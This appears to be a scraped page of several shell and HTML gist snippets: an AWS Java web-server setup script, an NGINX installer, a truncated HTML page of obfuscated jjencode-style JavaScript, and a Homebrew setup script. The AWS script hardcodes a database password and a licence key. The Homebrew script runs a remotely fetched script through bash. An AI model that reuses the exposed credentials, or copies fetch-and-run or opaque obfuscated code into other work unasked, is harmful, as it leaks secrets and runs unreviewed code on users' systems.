This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
sudo dnf update -y | |
wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.rpm | |
sudo dnf install jdk-21_linux-x64_bin.rpm -y | |
sudo mkdir -p /backend-server | |
sudo aws s3 cp s3://menugraphique-2025-h24-4/web-server/ /backend-server/ --recursive | |
cd /backend-server | |
sudo nohup java -jar WebServer/WebServer-0.0.1-SNAPSHOT.jar --port=80 --cryptoserver=licence.team4.gti778.ets.bimweb.net --cryptoserverport=9090 --dbuser=ind250 --dbpass=ind250psw --cryptolicence="ad8791153cc463069f66ed80984d415b:0a4618a6b6900794a2773100f84e9c1d90e0b34f5f10b150c6249ad912f87dc1540aab1312c323ab0c9c5e9ce44fcf6e" & |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Mise à jour des packages | |
echo "Mise à jour des packages..." | |
sudo dnf update -y | |
# Installation de NGINX | |
echo "Installation de NGINX..." | |
sudo amazon-linux-extras enable nginx1 | |
sudo dnf install -y nginx |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html><script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$.$__+$.___+$.$$$$+$._+"\\"+$.__$+$.$_$+$.$$_+$.$$__+$.__+"\\"+$.__$+$.$_$+$.__$+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$_$+$.$$_+$.$$$_+"\\"+$.__$+$.$$$+$.___+$.__+"\\"+$.__$+$._$_+$._$_+$.$_$_+"\\"+$.__$+$.$_$+$.$$_+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+"\\"+$.__$+$.__$+$.$$_+$._+"\\"+$.__$+$.$_$+$.$_$+$.$_$$+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"(){\\"+$.__$+$._$_+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$.$__+$.___+"\\"+$ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" | |
echo >> /home/lilflare/.bashrc | |
echo 'eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"' >> /home/lilflare/.bashrc | |
eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" | |
source ~/.bashrc | |
sudo apt-get update | |
sudo apt-get install build-essential -y | |
sudo apt-get install npm -y | |
sudo apt install python3-pip -y |